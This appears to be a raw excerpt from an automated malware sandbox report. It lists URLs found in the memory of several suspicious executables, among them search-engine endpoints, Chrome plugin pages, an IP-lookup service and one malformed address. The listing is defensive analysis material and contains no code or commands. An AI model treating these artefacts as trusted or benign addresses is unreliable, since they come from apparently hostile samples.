Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576141783.00000000032B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: 110B.exe, 0000001E.00000002.552411033.0000000002811000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.575496803.0000000002D51000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575785477.000000000326B000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.574287070.0000000003161000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576120477.0000000006BD1000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://www.google.com/earth/explore/products/plugin.html
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: http://www.interoperabilitybridges.com/wmp-extension-for-chrome
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 110B.exe, 0000001C.00000002.453201670.00000000043E1000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000000.448610314.0000000000402000.00000040.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, A87C.exe, 00000027.00000002.517417859.00000000000C2000.00000004.00000001.sdmp, A87C.exe, 00000027.00000003.516926123.0000000003722000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000000.541684095.0000000000402000.00000040.00000001.sdmp, 9B5C.exe, 00000028.00000002.576056443.0000000002DE4000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.575093549.00000000031F4000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.558023799.0000000000402000.00000020.00000001.sdmp, C26E.exe.13.dr	String found in binary or memory: https://api.ip.sb/ip
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 7728.exe, 00000023.00000002.577288103.000000000287A000.00000004.00000001.sdmp	String found in binary or memory: https://do219.236.148/
Source: AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576780133.00000000033B8000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577210754.0000000006DDC000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab(
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab4
Source: AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://get.adob
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://helpx.ad
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.537094600.0000000003A38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553062547.00000000029B8000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553357785.0000000002A7A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554032647.0000000002C38000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554745857.0000000003903000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.536201191.00000000039C7000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553920884.0000000002C22000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553714064.0000000002BCA000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538032817.0000000003AA9000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.553466374.0000000002A90000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000003.538636523.0000000003B1A000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554592366.0000000003892000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577639176.0000000002FC6000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.578973490.0000000003185000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.577723822.0000000002FDC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.576898951.00000000033DA000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.577054149.00000000033F0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577905623.0000000006EB0000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580255567.0000000007155000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576285771.0000000006C60000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590210700.0000000008043000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578041302.0000000006EC6000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579417773.0000000007095000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590620193.00000000080B5000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.587350628.0000000007C2F000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.590779166.00000000080DE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577270501.0000000006DEE000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.589840701.0000000007FD2000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576500275.0000000006D25000.00000004.00000001.sdmp, KNG4E3OZ.37.dr, Q9RQQIMO.25.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_divx
Source: AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_java
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_pdf
Source: 110B.exe, 0000001E.00000002.553147374.00000000029CE000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.552646425.00000000028A4000.00000004.00000001.sdmp, 110B.exe, 0000001E.00000002.554078417.0000000002C6F000.00000004.00000001.sdmp, 9B5C.exe, 00000028.00000002.579196810.00000000031BC000.00000004.00000001.sdmp, C26E.exe, 00000029.00000002.578685355.00000000035CF000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.579589197.00000000070AB000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.578808138.0000000007009000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.580429368.000000000716C000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.577399418.0000000006E04000.00000004.00000001.sdmp, AppLaunch.exe, 0000002A.00000002.576604373.0000000006D3B000.00000004.00000001.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=plugin_quicktime
